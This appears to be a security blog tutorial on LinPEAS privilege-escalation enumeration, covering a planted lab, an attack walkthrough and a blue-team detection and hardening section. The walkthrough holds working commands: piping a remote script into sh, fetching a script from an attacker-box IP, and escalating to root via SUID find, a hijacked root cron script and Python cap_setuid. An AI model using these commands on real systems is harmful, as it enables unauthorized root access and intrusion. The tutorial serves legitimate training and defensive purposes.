Practical Linux Enumeration with LinPEAS

Linux Privesc
Time it takes to read this article 5 minutes.

Introduction / Overview

Legal & ethical disclaimer: Everything below is for education and authorized security testing only. Run these tools exclusively on systems you own or have explicit written permission to test. Unauthorized enumeration or privilege escalation is illegal in most jurisdictions and a fast way to end a career.

After landing an initial low-privileged shell on a Linux box, the bottleneck is rarely what to check — it is how fast you can check the dozens of common privilege-escalation vectors without missing one. LinPEAS (the Linux member of the PEASS-ng suite, the successor to the original carlospolop/PEASS-ng project) automates that triage. In this article you will learn how to deploy LinPEAS in restricted environments, how to read its color-coded output, and how to act on its findings for the four highest-value vectors: SUID binaries, cron jobs, Linux capabilities, and writable/exploitable paths. We finish with a blue-team section so you can detect and blunt this exact workflow.

How it works / Background

LinPEAS (linpeas.sh) is a single, self-contained POSIX shell script. It does not exploit anything — it is pure automated enum. It runs hundreds of read-only checks (find, getcap, cat /etc/crontab, sudo -l, kernel version parsing, etc.) and ranks results by likely impact using a color legend:

  • Red/Yellow background = 95% likely a direct privesc vector (act on this first).
  • Red = something interesting that may be exploitable.
  • Blue/Green = informational / correctly-secured items.

Under the hood it cross-references findings against GTFOBins for SUID/sudo abuse and against a built-in list of known kernel and software exploits. The key categories it surfaces:

Vector What LinPEAS checks Why it matters
SUID find / -perm -4000 -type f A SUID-root binary runs as root regardless of caller
cron /etc/crontab, /etc/cron.*, user crontabs Root-run jobs calling writable scripts/binaries
capabilities getcap -r / cap_setuid, cap_dac_read_search etc. grant root-equivalent power
Writable paths $PATH dirs, service files, NFS no_root_squash PATH hijacking and config tampering

Prerequisites / Lab setup

You need a low-privileged shell on a test VM. A clean lab: a default Ubuntu/Debian VM where you intentionally plant a few misconfigurations.

# On the lab target, as root, plant test vectors:
# 1) A vulnerable SUID binary
cp /usr/bin/find /usr/local/bin/find && chmod 4755 /usr/local/bin/find
# 2) A cron job running a world-writable script
echo '* * * * * root /opt/backup.sh' >> /etc/crontab
touch /opt/backup.sh && chmod 777 /opt/backup.sh
# 3) A dangerous capability on a Python interpreter
setcap cap_setuid+ep /usr/bin/python3.11
Bash

Grab the latest release of LinPEAS from the PEASS-ng GitHub releases page so you are not parsing a stale local copy.

Attack walkthrough / PoC

Step 1 — Transfer and run LinPEAS

If the target has outbound HTTP, pipe it straight into memory (avoids touching disk, but is noisy on the wire):

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
Bash

In segmented or air-gapped environments, host it from your attack box and pull it down:

# Attacker box
python3 -m http.server 8000
# Target
wget http://10.10.14.5:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
./tmp/linpeas.sh -a | tee /tmp/linpeas.out   # -a = "all checks", thorough
Bash

Tee the output so you can grep it offline. Useful runtime flags:

./linpeas.sh -q          # quiet, skip the banner/wait prompts
./linpeas.sh -s          # "superfast & stealth" — skip slow/noisy checks
./linpeas.sh -o SysI,Devs # only run specific check groups
Bash

Step 2 — Triage SUID findings

LinPEAS highlights the find binary it planted. Confirm and exploit using a GTFOBins technique:

find / -perm -4000 -type f 2>/dev/null
# /usr/local/bin/find  <-- highlighted red/yellow by LinPEAS

# GTFOBins SUID escalation for find:
/usr/local/bin/find . -exec /bin/sh -p \; -quit
id   # uid=0(root) — the -p flag preserves the SUID-granted euid
Bash

Step 3 — Triage cron findings

LinPEAS flags /opt/backup.sh as a world-writable file executed by a root cron entry. Hijack it:

# Append a reverse shell or SUID-bash creator:
cat >> /opt/backup.sh <<'EOF'
cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash
EOF
# Wait up to one minute for the cron tick, then:
/tmp/rootbash -p
id   # euid=0(root)
Bash

Step 4 — Triage capabilities

LinPEAS prints capabilities found via getcap -r / 2>/dev/null. Our planted cap_setuid on Python is trivially abused:

getcap -r / 2>/dev/null
# /usr/bin/python3.11 = cap_setuid+ep
python3.11 -c 'import os; os.setuid(0); os.system("/bin/sh")'
id   # uid=0(root)
Bash

For cap_dac_read_search you would instead read protected files (e.g. /etc/shadow) rather than escalate directly.

Step 5 — Don't stop at the obvious

Even when an automated tool runs, read the full output. LinPEAS also surfaces kernel versions (cross-check against searchsploit linux kernel <version>), credentials in config files and environment variables, writable $PATH entries for PATH hijacking, and sudo -l rules — frequently the fastest path of all. See Sudo and GTFOBins privilege escalation for chaining sudo -l results.

Mermaid diagram

Practical Linux Enumeration with LinPEAS diagram 1

The diagram shows a single low-privileged shell branching through LinPEAS's prioritized findings (SUID, cron, capabilities, sudo) into multiple independent paths to root.

Detection & Defense (Blue Team)

LinPEAS is loud. Treat its execution as a high-fidelity indicator and remove the vectors it hunts for.

Detecting the enumeration itself

  • LinPEAS spawns a recognizable storm of find / -perm, getcap -r /, and mass file reads in seconds. Auditd catches this cheaply:
# Alert on mass SUID discovery and capability scans
auditctl -a always,exit -F arch=b64 -S execve -F exe=/usr/sbin/getcap -k cap_enum
auditctl -w /etc/crontab -p wa -k cron_tamper
Bash
  • Map the activity to MITRE ATT&CK: this is T1059.004 (Unix Shell), T1083 (File and Directory Discovery), and T1548.001 (Setuid/Setgid abuse). EDR rules keying on a single short-lived process reading /etc/shadow, every crontab, and recursing the entire filesystem will flag a LinPEAS run.

Removing the vectors

  • SUID: Baseline and audit the SUID set; strip the bit from anything non-essential. find / -perm -4000 -type f 2>/dev/null should match a known allowlist.
  • cron: Never let root cron jobs call world- or group-writable scripts. Lock them down: chmod 700 /opt/backup.sh && chown root:root /opt/backup.sh. Audit with chmod 600 /etc/crontab and verify /etc/cron.d/ permissions.
  • capabilities: Run getcap -r / 2>/dev/null as part of hardening. cap_setuid, cap_setgid, cap_dac_read_search, cap_dac_override, and cap_sys_admin on a scriptable interpreter are effectively root — remove with setcap -r /usr/bin/python3.11.
  • PATH & writable configs: Ensure no writable directory precedes system paths in service $PATH, and that systemd unit files are root-owned and 0644.
  • Generic hardening: Keep kernels patched (defeats LinPEAS's exploit-suggestion checks), mount /tmp and /dev/shm with noexec,nosuid, and enforce least privilege so an attacker never gets the foothold to run the script in the first place.

A clean LinPEAS run that produces no red/yellow findings is itself a useful hardening checkpoint — run it yourself before an adversary does. For broader context, see Linux Capabilities for Privilege Escalation.

Conclusion

LinPEAS does not break anything by itself — it compresses hours of manual checks into a single ranked report, letting you focus on the SUID, cron, and capability misconfigurations that actually lead to root. The defensive takeaway is symmetric: the very checks it automates are the audit you should be running continuously. Patch, baseline your SUID/capability sets, and never point a root cron job at a writable file.

References

Comments

Copied title and URL